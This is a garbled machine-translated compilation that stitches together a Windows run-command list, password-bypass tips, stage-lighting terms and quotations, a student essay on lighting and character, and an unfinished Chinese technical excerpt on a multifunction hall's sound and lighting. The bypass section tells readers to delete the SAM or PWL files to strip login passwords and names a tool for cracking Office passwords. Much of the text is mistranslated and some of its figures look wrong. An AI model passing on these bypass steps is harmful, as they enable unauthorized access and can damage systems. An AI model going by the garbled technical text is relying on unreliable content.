Mplayer2-------Media Player.

magnify -------- magnifier utility. .

Mmc------------open the console.

mobsync -------- synchronization command. .

Dxdiag---------check the DirectX information.

drwtsn32 ------ System of a doctor. .

Devmgmt. .msc---Device Manager.

dfrg. . Msc ------- Disk Defragmenter. .

Diskmgmt. .msc-disk management utility.

dcomcnfg ------- Open the System Component Services. .

Ddeshare-------open DDE share settings.

dvdplay -------- DVD player. .

Net stop messenger-stop Messenger service.

net start messenger ---- Start messenger service. .

Notepad--------open Notepad.

nslookup ------- network management tool wizard. .

Ntbackup-------system backup and restore.

narrator ------- screen "about people." .

Ntmsmgr. .msc--mobile storage manager.

ntmsoprq. . Msc --- Removable Storage Manager requests for action. .

Netstat-an-(TC) command check interface.

syncapp -------- create a briefcase. .

Sysedit--------the system configuration editor.

sigverif ------- file signature verification process. .

Sndrec32-------recorder.

shrpubw -------- create shared folders. .

Secpol. .msc-----local security policy.

syskey --------- system encryption, encryption can not be solved soon, the dual system of protection windows xp password. .

.Msc services.-local service settings.

Sndvol32 ------- Volume Control program. .

Sfc. .exe--------the System File Checker.

sfc / scannow --- windows file protection. .

Tsshutdn-------60-second countdown the shutdown command.

About tourstart ------ xp (installed xp after the roaming procedure). .

Taskmgr--------Task Manager.

eventvwr ------- Event Viewer. .

Eudcedit-------creation program.

explorer ------- Open the Explorer. .

Packager-------the Object Packager.

perfmon. . Msc ---- computer performance monitoring procedures. .

Progman--------Program Manager.

regedit. . Exe ---- registry. .

Rsop. .msc-------group policy results.

regedt32 ------- Registry Editor. .

Rononce-p-15 seconds to shut down.

regsvr32 / u *. . Dll ---- stop the dll file to run. .

Regsvr32/u zipfldr. .dll------cancel ZIP support.

cmd. . Exe -------- CMD command prompt. .

Chkdsk check disk .exe-----Chkdsk.. '.

certmgr. . Msc ---- certificate management utility. .

Calc-----------start the calculator.

Character Map charmap -------- start. .

Cliconfg-------SQL SERVER client network utility.

Clipbrd -------- Clipboard Viewer. .

Conf-----------start netmeeting.

compmgmt. . Msc --- Computer Management. .

Cleanmgr-------waste sorting.

ciadv. . Msc ------ indexing service program. .

Osk------------open on-screen keyboard.

odbcad32 ------- ODBC Data Source Administrator. .

Oobe/msoobe/a----check whether activate XP.

lusrmgr. . Msc ---- Local Users and Groups. .

Logoff---------unregister command.

iexpress ------- Trojans bundled tools, the system comes. .

Nslookup-------IP address detection devices.

fsmgmt. . Msc ----- shared folder manager. .

Utilman--------Utility Manager.

gpedit. . Msc ----- Group Policy. .

3. forgotten Windows logon password.

WinMe/98 following measures: the boot and press F8 key to select the DOS boot, and then delete the Windows installation directory *. . PWL password file, and all under the Profiles subdirectory personal information file, restart Windows, the system will pop up a user name does not contain any password set box, this time without any input from the direct click "OK", Sign password is deleted. .

In addition, the HKEY_LOCAL_MACHINE registry database, Network, Logon branch under the UserProfiles was changed to "0", and then restart the Windows you can achieve the same purpose.

Under WinXP/2000 measures: Remove system installation directory \ system32 \ config under the SAM file, restart, then the administrator Administrator account has no password, use the Administrator account login, without entering any password, access to the system after reset login account password. .

IV. forgotten Windows screensaver password.

Solution: In the boot press F8, select Safe Mode boot into Windows, right-click the desktop space, the shortcut from the pop-up menu, select "Properties" / screen saver, abolish the "password protection" can be. .

5. forgotten Windows power management.

Windows power management features can also set passwords, enable this feature, when the system returns from the energy state would be required to enter a password. .

If you forget the password, you can use the preceding crack Windows login password for that method to crack.

6, forgotten Microsoft Office password. .

Solution: use the password to crack Office series documentation software, such software, such as AOPR (download http://www. .elcomsoft. .com/), the software can at the same time on a Microsoft Office Word, Excel and series of Access and other software for the generated password, you can also solve the Word .DOT template of *. file search.


1, Brightness:. .

Brightness refers to the surrounding a little micro-on the surface of unit area in a given direction of luminous intensity emitted by the cell projection into the same direction area units: cd/c ? o. In the lighting system is generally not encounter the concept of brightness.

2, illumination:. .

Illuminance refers to a surface flux density, it is placed in the area of the light flux, LX.

The definition and measurement of illumination more complex, as the average cylindrical illuminance, equivalent sphere illumination, illumination and other scalar, and their measurement conditions and calculation methods are different. In the construction and decoration projects often encounter, lighting system, and occasionally involves the concept of illumination. .

3, luminous flux:.

Flux is the light source in unit time from radiation to the surrounding space, can cause visual reaction energy, that is, the energy of visible light. It describes the value of the effective radiation source, the unit is 1m (lumens). .

The same power of luminaires may be completely different, this is because their luminous efficiency for different reasons. For example: ordinary light bulbs only 10 1m/w, while the metal halogen lamp can reach 80 1m/Watt.

4, color temperature:. .

Color is the color of the light emission and black at a certain temperature radiation of light hue at the same time, the temperature of a blackbody is known as the light source color, generally to Kelvin k units. For example, 3200k and 5600k, etc..

High color temperature, light, color colder: low color temperature, light, warm colors: color temperature is moderate, the light close to white. .

Nature of normal sunlight, light color temperature is generally higher than the artificial light of color temperature. Typically, the color temperature 5600k daylight to the Studio and show the colour temperature luminaires are 3200k. (Hot lights).

But the recent rise of television studio light cold light cloth is a traditional light source changes. Cold light of high color temperature, low energy consumption, little heat, making indoor and outdoor perturbation, the color temperature conversion is simple, natural images, of course, swapped the cold light of light sets the performance requirements should be higher. .

5. channel:.

In modern optical control, the new concept to produce a channel. It refers to the control circuit in a lamp on a set. Specifically: a lamp that has the function needs to be a separate control (such as: focus, strobe, color, etc.), while the share of some lighting console output circuit referred to is the channel. .

For example: a computer lamp function aperture, color, strobe, dimmer, lens horizontal movement, vertical movement, so they take up of the channel is 6 months. From here we can see that the channel concept or traditional lighting control circuit evolved, but the modern lighting is more than one channel brings together in a single unified control of the device.

Of course, the lighting more advanced, more complex, more action, the number of channels may occupy more of the lighting console to be increased. For example: a light path 108, with digital output lighting console, it wants control with 12 channels of computer lights, so it can control up to 9 sets this light, how to control is the signal and address allocation the. .

Celebrity famous on the lights (optional).

Rui Shia shelter Asia. .

It can bring to the stage space and this movement rhythm of light is the arena of the soul. Creating the light of life. Out of the live actors and scenery harmonic together.

British Gedengkelei:. .

Half-inch light or shadow, is sufficient to show a figure of a different mood.

捷克约斯沃博达:. .

Use lighting and projection instead backdrops of paints, this is the future.

United Kingdom Richard Pilbrow:. .

Lighting has four properties that you can control: brightness, color, distribution, and mobile (lighting changes). These properties by using lighting to achieve four aims: clarity, composition, shape display and atmosphere. In the world, lighting control design speed of development is encouraging. Lighting console itself shows an excellent process, which indicates the future design development to follow the directions. Stage lighting technology has been important progress in the control.

Days old court Saburo:. .

Stage lighting is drama, dance, an art of light.

Lighting has the following four elements: 1 Vision, 2 realistic, 3 aesthetic, 4 performance. .

-Robert Edmund · Jones ·:.

Clear, infiltration, bright, obvious, inherent and novelty ... ... these are what we in the light of the quality to be achieved. .

Chinese Coke juyin:.

Stage lighting is a complete image of excellent performance is one very important tool. It is the image of the entire stage, the role played by the point clear, far too much color photo on the role. Lighting not only to create atmosphere, and is in the style of play a significant role in the formation of. The author's intention, the idea of the director, and many can only sense but not explained mainly by the Department to represent light. .

Liulu: China.

Light color is a stage performance space form the basis of art, light-colored plastic results show not only emphasize the characters, events, time, season and environment atmosphere, and the light color of the light and dark can enhance the performance of actual situation, contribute to emotional infection, a cause of association. If there is no effect of light color, can be said that the stage show will be eclipsed. Successful performance always light shading means of its unique environment and outstanding performance figures, particularly important is King Trustee. .

Sudan: China.

Theater and stage lighting are all essential to the theater arts as an important component. The reviews of the stage lighting such as: light is the soul of theater arts; light is on stage the sun; is the blood of stage art, is set in the water, is the character style (clothing, make-up) of glory, is the actor performing the atmosphere and the environment extension of the inner thoughts and feelings of characters, it is the eyes of the audience and so on. .

China Ouyang, respect:.

Eighties, as the new modern theater and stage lighting equipment have been built on the update, such as computer controlled power strips and smaller, "Candlelight," the emergence of more powerful light bulbs, these conditions are maturing, so that lighting workers can give full play to their talent and creativity, stage lighting art is sure to be even greater development. .

China week: weizhi.

Development of the arts has always been closely linked with science and technology development. Artistic creation of the need to promote science and technology related to the development of Le, but technology development often also promote artistic expression of the rich and Ti Gao. "Song of the Chinese revolution" of the art practice, to fully illustrate this point ... ... no rear projection film, laser, computer management of a variety of lighting equipment, to the performance of such a large span of history, such a magnificent scene depicted is a very large-scale song and dance difficult, and some performance results is impossible to achieve. .

Chinese song Eun:.

"The Storm" a drama from the story point of view, the treatment effect of lightning directly influences the performance results, and thus to understand the author's prompt and careful handling of the director, the idea of the image of the play all kinds of lightning, and light and shade, strength change, play with the story, the role of contrast performance. To this end, the image on the lightning must have "far flash", "near flash", "horizon flash", "clouds flash", "flash money" and so on, according to the script requirements, create the necessary atmosphere. Intensify the conflict, deepen the theme of enhancing the appeal of Art. China's Huang Feng:. .

Lighting design, on the one hand, by means of stage lighting performance space, that is, in the limited space of the stage performance script help needed infinite space; on the other hand, progress with the Opera, at the time of renewal, using light and shade light undulations, screen, color changes (color and contrast) and a performance area (area) of such instruments to enhance performance (mobile) screen space effect, these means of expression to pass as the rhythm of stage lighting. Opera (multiple-act play) lights rhythm contains: 1, Opera overall lighting rhythm. 2. in the light of the field. 3, between the light field and field processing. .

Chinese Gold long Margaret:.

Optical radiation with a spiritual role, once it penetrated into the waves of emotion and drama performances melting into one, the stage will give the audience a feeling of light, a draw, resulting in psychological resonance and thinking association. Changes in light color and performance to mood, emotional integration; to emotion and music, rhythm combination. The brightness of light color and music to the intensity of the subject; light color to be consistent with the mood and music. Visual image and the image to the same hearing. .

China's Chen Zhi-:.

Art in the stage lighting of art occupies a very important position, light color is an important stage lighting designer means of expression. Lighting designers to light and color on the stage to play its role, the completion of "Light Language" function. How to choose the design of stage lighting light color? Drama based on style, plot and shows to choose. Atmosphere according to the script to choose. From the time and space to select the angle. From the angle of light to choose. From the sets, props, costume, make-up angle to choose. From the dramatic plot, characters to choose psychological changes.Stage light and color, like a bird's wings, control its functionality, you can open sky soar freely, they can be on the stage to people-centered, create a new image, new thoughts, new world.

China's Liu tax:. .

Lighting is used for the performance of "silent Symphony Orchestra accompaniment". Lighting and character set, music performances, organically, the image of a harmonious, flowing, moving performance works.

Chinese way is:. .

Conception of light is the light of the stage, exaggeration, connotation and deepening of the artistic, from external visual and intuitive, to psychology, excuse me, their inner world and, for the stage performance of light. Conception of the stage, a thousand words, focus on that. Artistic creation stage characters, scenes, flavor, atmosphere, feeling words "new blood" to make the audience in art appreciation, adding a variety of associate and enjoy. At the same time, enrich the stage performance of light to make theatrical vocabulary, more lively, more diverse.

China Huo Yan:. .

Stage lighting alleged ' white ', that is, without a filter from the lamp direct light. It is in terms of increasing the brightness of the stage show tremendous power. White light on the stage in the creation of image, close to the phenomenon of nature. Therefore, the audience when adaptability, more comfortable. Lighting designers to grasp the characteristics of white light. For design-time to be considered from two aspects: selection luminaire, it is necessary to consider the glow of color to address the cold and warm tones. And by the dimmer control system, to create dramatic performance. Select lamps, consider a different light power to deal with the relationship between light and shade. And through the dimmer control system, any change in its brightness. .

China: sorghum Chau.

In the ballet performances, the director and lighting design in the art, often using light to highlight recovery, lighting the main role; performance of the story, and create an atmosphere of the stage; create characters, showing the characters thoughts and feelings. For them, the recovery of light, it is essential to achieve a means of creative intent. Operation chasing light, be familiar with the actors dance movements, dance, route and location. In order and the cast "perform with", "dance together." Action to recover light to do: "with a prospective, with the firm in with the emotion." .

Peak: Xiao-Ning Han China.

By light color selection and processing, can the director scheduling, scene arrangement, setting, costume, makeup, props and so on, connected, together and harmony; can enhance the atmosphere of life, age, time, season and hour of feeling; can enhance dramatic conflict and character of the psychological moment. .

Locks: Chinese Mu Bai.

With the play of light changes, accompanied by the plot, light with the situation changed, blending light conditions, light with the scene change, conversion time and space, light simply repeating what changes, sound and light synchronization ... ... can only show the vitality and charm of art lighting. Lighting charm and life is the movement of light, and light exercise must also be achieved through the lighting control equipment. China's Guang-Yao Wu: Contemporary lighting technology has progressed to a new stage, there were many new applications, more and more shows in the performances of great vitality and a wide range of expression. Prospects for its development is limitless.In addition to the actor's performance in the future on the stage, lights will become the master, this is the inevitable trend of development.

Zhang Min of China:. .

Lighting technology in the production of television programmes in occupies a relatively important position. Lighting direct impact color picture of hue, and sharpness levels. Lighting is to use technical means to achieve the complex artistic effect, so that viewers be satisfied with art appreciation ... as someone compared to "light painting with light", that is, the light in the form of a picture on the television screen. Film: a film shoot lighting, that is, the light through the lens of the camera, photographic image on film. Introduction to film for coal, chemical changes to reproduce the image. Movie film to meet the technical requirements of a variety of film sensitivity were determined according to different color temperature and illumination standards. TV lighting: light through the camera lens shutter camera after the fight, the camera tube to the received light into electrical signals, television is the photoelectric conversion process. So, first of all lighting to meet the technical requirements of the camera, then a complex art. .


Light casting.

- On the stage lighting on the performance of theatrical characters. .

Overview.

Lighting the role of the stage from its fundamental sense, can be a model. On the one hand is the shape of the stage space, on the other hand is a stage model of psychological space. .

Stage lighting of mental space modeling mainly through n of the psychological descriptions and tips. In Opera performance figures of psychological state, to the actor's performance, but in the performance of the psychological drama scripts that use Visual phenomenon and a light color to show its beauty. Especially in the modern, along with the development of dramatic art, the overall change in the old concept of strengthening co-operation between low-level, participating in various departmental action drama with a strong overall sense of the terms of reference from thinking beyond the play itself, Li Qiu artistic ideas play to their creativity and imagination, start from the overall multi-element, multi-directional dialogue. Local must subordinate the whole, is overall more solid. .

This article is intended to focus stage lighting and actor, is integrated in the role. It includes the performance of the external and internal reflection in two dimensions. Specifically: costumes, make-up, body shape, characteristics, emotional, destiny, metaphor, etc..

Outline. .

1. In the introduction.

2. . Performance definition. .

3. Presentation.

1) the external image. .

Fancy dress costume, a).

b) characteristics. .

2) heart, emotion.

3) Fate. .

4) replacement and metaphor.

4. . End. .

Light casting.

- On the stage lighting on the performance of theatrical characters. .

Dim, the entire stage immediately becomes like passing Pompeii city General, and in the first quarter, they were so brilliant and beautiful.

Introduction. .

Stage art history can be traced back to the origins of theatre stages, but its constituent sectors are: the earliest involved is and performing related costumes, make-up, props, and then only the scenery, lighting is the last to come in the shape of the performance. Although the history of theatre lighting intervention is short, however, as the science and technology and the continuous development of dramatic art, stage lighting, whether there are technical or artistic level there are the rapid progress lighting has become a modern theatre performances in the indispensable elements.

Through the tireless efforts of successive designers and timely lessons learned so that we function on the modern stage lighting with a clear understanding. As a visual art, stage lighting and the visual image is always linked. (Including space images, characters, etc.). But he is not the image of the accessories, but one of the creators of visual images. Light in the theater involved in all aspects of visual performance. The strength of its function is obvious.History, drama is no longer a dialogue-based auditory language, which requires action by actor limbs, stage scenery lighting visual image and sound of auditory effect a direct impact on the audience's senses, violently attacked the IHAVE audience, the audience.

"No clothes and scenery, drama can exist? Yes, can exist..

No music with drama, the drama can exist?.

No light sets, drama can exist? Sure. .

So there is no script?, dramatic history proved this point. In the evolution of the theatre, the play is one of the last added. ” 。.

Glotoff Gaussian elimination would not be essential for the use of dramatic elements were excluded, leaving only the actors and spectators. .

This exclusion is too extreme, but there is no doubt that dramatic performances, the actress is the dominant element of the element. But on the stage, the actor is to play tasks this vector. For this reason, this article is intended to people from the lighting on the drama of the angle of the performance, on stage lighting modern design practices and aesthetic sense.

The definition of performance. .

We know that the history of the first occurrence of artistic theory is Greek for "imitation". The Greeks believed that "art is a direct reproduction of nature or imitation of nature." This point of view, is the longest in the Western continuation of an art concept. If you use one word to describe it, that is to reproduce.

And discussed in this "performance" and is different from the above-mentioned "again." It is a relatively modern concept - that art is essentially a kind of "emotional expression" concept. .

In modern drama category, as the art of drama is a fusion of various factors on the "public performance", and his feelings or emotions aroused, you are the one's body and mind in the subtle psychological activities. Can we say the former showed the latter?.

The numerous real-life example of how this performance is not only possible, but it is also the general theater artists have been pursuing. Let us take the example of a painting, when we say sweet, Matisse's paintings, if careful analysis and deliberation, the judge can put the words "It makes me feel warm ... ..." Strictly speaking, only personnel have intimate feelings. .

In the theatre, on manifestations of a more intuitive concept, — "modeling".

Dramatic characters, including the broad and narrow shape of the two. The former refers not only to fashion design, hair design, makeup design and character on the stage, dress requirements, but also on stage all the elements of the character of social attributes, personality temperament and psychological state of other aspects of the deal, including the actors play characters their own right creation and processing. .

Lighting in the character's appearance in addition to being able to help show n face, body, face, and so on, but also on the character of emotions, of externalization and propulsion. Is a kind of creation, a kind of interpretation. Specifically, is a performance, not reproduced.

We can create the means of expression that has been two meanings: First, there is certainly an original image. Because without the original image, this performance also completely unnecessary; second that he is a recycling process and recycling activities that certainly is based on the original image based on the redefinition. This approach. .

Be creative, free, manifestations, seemingly careless casual, in fact, are the product of carefully. Truly meet the drama of the "people" can not only reflect the designer's ideas and create extensive damage, but also to a new meaning.

Presentation. .

In stage lighting design step, usually plays, Director of intention and the stage design and lighting design is, in other words, the lighting designers started before being placed in a visible frame. Stage, scenery, costumes, actor scheduling factors doomed the lights while in trotted in many areas also bound hand and foot. How to exhibit the characteristics of n, the designers have taken great care to consider this issue.

This overall performance through a number of ways, with the help of some practices can be achieved. Light on the character's performance can be broadly classified in the following points:. .

1. External image.

Performance here can be divided into three levels: Weakening - imitation - enhanced. As the name suggests, in the theater, in order to adapt to different play styles to meet different story, express a different meaning, lighting designers in the use of lights, when people will create awareness to show people in varying degrees, the external image. Is particularly important to point out that, where imitation is not purely in order to imitate and emulate, but a conscious, "reproduction", a subjective dynamic of "reproduction" and "performance" of a kind. .

Generally speaking, the lighting, the character's external image:.

l clothing, make-up. .

Light clothing and makeup of the role of the most common is white, light-coloured light to reveal character, image reconstruction (cosmetic), rendering the character's costume (fashion color, texture, structure, composition, etc.).

In addition, the role of light in this color are also especially prominent. Different color, texture of the clothing in a different light irradiation will be showing a different state. Sometimes help with the performance of clothing, makeup, and thoughtful consideration Debu has the opposite effect. .

Here, I would like to use our third grade out of practice works the whole as an example. Seriously examined the plays and stage design, our teacher led by xuming teacher decided to manufacture similar Japanese painting of that kind of clean feeling as a starting point for lighting design. In the play, we are only at the beginning of each field and the end of the light changes, in the middle of each field is to use light to create a picture. Here, the role played by the light, which is performance actor wearing make-up, in addition to reproduce the natural situation.

The following is a "woman's life," the two stills, left the girls to wear red clothes on behalf of the orange sun light exposure is particularly moving, lively. Her big red kimono under the lights also makes it especially bright. In the right hand picture, wearing a blue kimono of Guyana in the role of the blue backlighting looks so solemn, serious. Light of these two characters have played a very fitting clothing performance. .

Light on the performance of the costume, make-up to be loyal to the costume makeup design itself, and should get the entire scene. From an overall aesthetic look, make them with the help of the light and the entire drama more closely.

l form. .

Clothing, makeup by lighting effect performance figures of the particular body. In this case, designers tend to rely more on some will produce special effects of lighting, the use of some of the more special light, color, or shape of the object.

If left on the use of two different approaches in the two figures on the stage was shaped. One side of the backlight is sketched out the contours of characters, the other more representative, with a background figure in the window light to set off, resulting in a silhouette effect. .

In the drama "Shang Yang, designers make extensive use of the entire row to inverse the character into the body for depiction is uniform and powerful to me.

The right is a small theater drama "Perfume" in a scene, the heroine in that her boyfriend is cheating on his section of inner monologue after. I used a separate light for top-ray imaging to show the heroine inner loneliness and desolation and sadness. Form of the hero's performance in this light certainly feels very lonely and helpless. .

In General, dramatic performance, film director will often be based on the story's needs, specific body movements, the performance of a specific kind of mood. This is often the light can be creative, then appropriately light should assist performers to express this feeling, an actor shape act more fullness, expressed more clearly.

l characteristics. .

No two identical leaf, no two identical people. Lighting in the performance of the character's characteristics is has a symbolic meaning. Get color: red painted figures, iota, blue symbol Zhiyong fortitude and a treacherous by nature, white, and yellow dust means that atrocious. Of course, these symbolic significance is not absolute, in a different cultural environment, the different meanings of the symbols of the era will be very different. This requires lighting design from script, the characteristics of the characters portrayed.

2. . Heart, emotion. .

Because of the particular dramatic art, as a general rule, the actors and the audience is always retain the comparison between the distance. And film, television, due to distance, the actor's many delicate inner emotional expression often cannot be detected by the audience, so it makes the audience in many cases, the entire works of taste. In this kind of limitation, lighting undoubtedly acts as the actor's mind, emotions, and conduct effective amplification, is passed to the audience, appealing, and increase the shocking.

Picture on the right, in the strong backlighting irradiation in the golden roof, a group of letters shows that men generally good pious woman. Great momentum in the light of contrast, the people inside the admiration of the gods, respect has been amply demonstrated. The audience could not help but feel that feeling, too, could not help generate a sense of respect. If there is no light contrast, such a visual and spiritual impact on fall far short of this effects. .

"All my sons", have a telling Anne and Chris's love, it can be said that this tragedy only warm people. We use a pink top light surrounded them, this time in which, despite the confusing world of the outside, they just exist and belong to their world, full of love for each other.

Graduation drama "cruel game", we Kayes received a letter from the mother after the cold vent some of that effect using a strobe light manufacturing, with loud rock music, to reflect the inner hero was extremely dissatisfied. To the audience very impressed. .

The figure to the right is the drama "Shang Yang on one screen, designers use imaging light thrown on the wall of light, representing the two against each other, and in the face of today's old friend, the enemy the messy, complex.

From the above example is not difficult to see light on the inner character and emotions characterized in general terms can be divided into two kinds of action and quiet. Use static lighting scenes show the characters emotional state, sometimes half an inch of light or shadow, is enough to show a character's different mood; the use of dynamic lighting changes in the performance figures mood changes, ups and downs, this time, light performance of the performance figures can often contributed to the severity. Of course, the lighting design should not over-exaggerate this feature, otherwise it will backfire. .

3. Destiny.

In general, a play and play the plot developments are developments and changes in fate of the characters closely linked, but need to do lighting design lighting scenes or lighting by the change of the dynamic performance of the fate or condition of people. .

On the left is my son in one scene, when the father learned his irresponsible killing his own son, at this point, the wings of a red lamp on the flow of his father who, along with a sound of Thunder, the Visual and aural warn dual shock, suggesting that the family will face disaster, blood also imply light her father finally destiny.

"Is my son," the last, when a gunshot ended the chaos of a family, the front of the stage lights went dark, only the background light noticeable Department, despite what happened to this family's misfortune, in this part of several individuals outside of the World, Small World, life is still in the leisurely pursuit continued. The script into a higher level. .

The Director of this drama of the Andorran law graduate, the beginning of the play, with the curtains of the Andorra would appear in a red cross on top, this time in extended red, his tragic fate was doomed.

In the "perfume" of this show, I use the dark pink lights to create an illusory image blur effect. And the rest of the play are very different, because after the actress will be informed that occurred during the play is something out of nothing. .

The fate of people often leads to the development of the entire movie and actor on the fate of the master and performance through their lines, to reflect the action, etc., which often appear to be thin. You need to add some additional factors to strengthen him.

And performance figures of heart, emotion, like the embodiment of light on the fate of the characters can be divided into two kinds of dynamic and static. Hint of the fate of static characters and living conditions; dynamic fate of the characters change in the performance of ups and downs. .

4. Replace and metaphor.

Sometimes, when light with some lines or plot closely, the light has a significant role in that behalf. .

For example, in the dark stage actor, he faced a beam waht "God!" will make you feel that the beam is God's light, at which point the laser beam is used to refer to God.

Experimental Theatre in the Kun opera "Peony Pavilion" in a play, with rows of silver-white backlighting appear strong on the stage, behind the scenes look dim beam, nothingness, there is a sense of infinite space, hero and heroine face away audience, which faces the beam and bow down: "Xiezhu Long Yan!" echoed the King's voice in the air, when the backlight fully reflects the superior king, the noble and dignified performance of the best out of the atmosphere. .

Whether it is objectively possible or subjective needs, the characters in the screenplay, the object is often not possible all appeared on the stage, while the lighting on the performance of this kind of thing you could play an important role.

This means the generation of light, sometimes concrete, sometimes abstract. Specifically refers to the so-called script exists in the role, that Qudai; and abstract is a metaphor that behalf, on behalf of the imaginary characters, or even a spiritual thing. .

Some of the above is not isolated. Light play one role has an impact on the actor, the role without affecting the other. At the same time, no matter what kind of role, must be the actor's performance consistent rhythm, an atmosphere of unity and story. If it is outside of the plot, it can only fall into the water, trees of formalism. At this point, from the angle of the light, the actor is the light of life.

Can not be denied that in light of the actor playing the role of the actors also play on the light reaction. We can not exaggerate the light of the role of one-sided, and ignore the actor on the light reaction. Objectively speaking, the theater stage, from the cast of light, light can not be called artistic. .

Actor through performances, the meaning of the lighting. Just imagine, in the empty stage, only light doing the unordered changes color, range and brightness. In the eyes of the audience, these changes are kept and meaningless. Don't know what the performance, do not know what it is. So much drama, as a manufacturer of lamps show will come more appropriate. More or will make people feel is this theatre circuit has failed.

In addition, the actor's performance also limits the light of the "performance." Lighting must be consistent with. I think we may come across such a situation, in a show, because of operating errors, a change early, or late, or wrong, some can be very uncomfortable. Then the lights on the "jump" out of drifting outside the theater, not only can not play a catalytic role, but seems superfluous and damaged the story as it develops and actor performances. .

For an experienced actor, he is on stage lighting is very sensitive to changes in breaking out of his passion and feeling, impeding his performance.

End. .

Restrictive is the basic characteristic of the stage space, stage performance space is finite, and artistic expression and reflect the life span is unlimited. Stage is a stage in the limited space unlimited performance space. Due to objective reasons, the stage is very difficult to give an actor's movement and posture, which give light to three-dimensional modeling of actors, not only can you change the time and space, but also can create n of mental space.

Optical radiation with a spiritual role, once it penetrated into the waves of emotion and drama performances melting into one, the stage will give the audience a feeling of light, a draw, resulting in psychological resonance and thinking association. Changes in light color and performance to mood, emotion combined. Artistic creation is a stage light, light, sublimation, hyperbole, connotation and deepen the artistic embodiment of the visual from the outside directly to the mental, inner world and the Excuse me have language, the expression of light for the stage. Stage to create mood light, a thousand words, focus on that teaser.Artistic creation stage characters, scenes, flavor, atmosphere, feeling words "new blood" to make the audience in art appreciation, adding a variety of associate and enjoy. At the same time, enrich the stage performance of light to make theatrical vocabulary, more lively, more diverse.


Description: Stage Lighting for the computer's yes right atmosphere for the scene, scene rendering, is one kind of a certain music form, variety, music mood and performance 人物 depicting the Tu Jing, on different occasions using different lighting effects, and programming designed to reflect the Huodong theme, based on the actual situation, with different design ideas for programming design. .

Keywords: traditional stage lamp light computer computer programming and design.

Computer lighting stage is responsible for rendering the scene, scene atmosphere is a kind of a musical form, types, music, mood and performance of characters performing channels, on different occasions using different lighting effects, and programming designed to reflect the theme of the event , according to the actual situation, with different design ideas for programming design. Design principle is to music, performances, song and dance entertainment based on the actual use of the demand, be brief, responsive, briskly and effectively to create a dynamic, vibrant, stylish atmosphere and musical atmosphere, color and light up the stage or in the the perfect combination of dance floor area. .

In comparison with traditional lighting, intelligent lights have a very large number of advantages, we listed some of the most notable:.

1, computer lighting equipment using the international common digital signal DMX192 signal control, good compatibility, precise and rapid control. .

2, computer programming can be preset lighting equipment, precise positioning, automatic control, a consumer-controlled lighting system offers great convenience.

3, the computer can implement real-time control of lighting, the operator can spot a flexible control of the situation, the flexibility of a good control method. .

4. computer lamp color high purity, color changes, usually ranging from tens to be extremely effective in letting the stage color from the color, while the built-in coated film, to avoid the traditional lamp color change by changing tone of color distortion and color types of shortcomings.

5, the computer light bulb full implementation of the linear adjustment of the level of strength, good sense of change. Up to 2000 hours lamp life and avoid the trouble of frequent bulb replacement. .

6, computer lamp designs rich, three-sided Prism control, you can bring to the stage for the rich patterns change and changing the traditional swing beam, light is unable to do so.

7, computer speed adjustable strobe light, 1-10 times / sec, can be implemented according to the site direct and effective control of the situation. .

8, computer lamp generally may implement x-Y axis 450 ° 270 ° of movement, able to beam projected onto the mobile to listen to any corner of the tempo, and move fast.

9, the computer lights with automatic optical detection of zero, well to ensure the synchronization of the system, making the integrity and unity of lighting system is well represented. .

More than just computer light compared with traditional lighting, but some of the advantages of PC lighting also has to be improved, such as the lamp brightness (traditional lamps simply with high-power lamp to light the computer you want to use more advanced motor and plating film and mirror components and resolve the problem in order to provide a little brightness).

Figure 6 function rooms linked to the practice of surface light pole diagram. .

Audio analyser 1/3 times the frequency bands in the sound field for 10 measuring one measurement of the transmission frequency characteristics.

More than 12 wide width flat from the transmission frequency characteristic that the whole hall of fairly consistent sound field for no apparent amplitude distortion, the PA system to improve fidelity and Gaishan sound gain is very favorable. We also in accordance with the standards of the Radio and Television Department. .


<厅堂扩声系统声学特性指标》(GⅥ25-89)对扩声系统进行了测量，本系统所达到的技术指标如下：

最大声压级1 10dB(125-4000Hz)

传输频率特性63-80000Hz范围内符

合该标准中的图2要求

传声增益-7dB

　　声场不均匀度1000Hz,4dB；4000Hz,ldB上述数据完全达到了该标准中所规定的语言和音乐兼用扩声系统一级指标。也就是说该系统能够很好地满足会议和文艺演出的需要。

3　多功能厅专业灯光设计

3．1主席台(舞台)面光

　　多功能厅专业灯光的设计是指主席台的灯光设计。多功能厅的主席台(舞台)与正规剧场、礼堂的舞台相比要小的多。而且形式也多种多样，有敞开式、移动式等。多功能厅大部分为改建项目，利用原有旧的房间如：仓库、储藏室、会议这种做法使用是可以的，但与整体多功能厅的装饰极不协调。同时给维护人员也带来极大的不便，那么如何解决这个问题呢?在实际工程中我们采用了“面光翻板升降机构”，平常不使用时全部机构及灯具隐藏在吊顶中，当使用时，“面光翻板升降机构”徐徐降下，到达工作位置时自动停止。实践证明，此机构的效果极佳，解决了维护方便、美观、大方的要求。我们在国家审计署600m2多功能厅、北京长途电话局电视电话会议中心等工程中军采用了此种做法，甲方十分满意，达到了设计要求。具体介绍如下：

(1)工作原理

　　面光翻转机械主要是通过专用控制箱来控制减速机，减速机绳轮缠绕钢丝绳、通过滑轮组支撑点拉动翻板吊杆的上端作其升降运动，为了保证翻转板的定位精度，因此，本结构设置了一套导轮机构，翻板吊杆在导向轮之间进行运动，使翻板具有一定的刚度。翻板吊杆的下端通过翻板合页连接翻转板。面光灯安装在活动翻转板上。使用面光灯时，活动翻板下降至工作位置后通过灯具的重心使翻转板进行45度角翻转。面光灯随翻转板翻转45度角使灯光照射于舞台上。

　　不使用面光灯时，通过控制箱使翻转板翻转至与装修吊顶平行，然后活动翻板上升到整体吊顶位置。为在升至吊顶时与其整体吊顶平整一致，本机构在合页的一端设置一个支撑钉进行翻转定位，确保定位的准确性。



(2)面光翻转机械主要由以下部分组成

1．减速器；2．结构钢架；3．上行程开关；4．翻板吊杆；5．下行程开关；6．导向轮；7．翻板合页；8．翻转板；9．钢丝绳；10．控制箱。

(3)国家审计署600m2多功能厅工程图例

3．2主席台(舞台)顶光

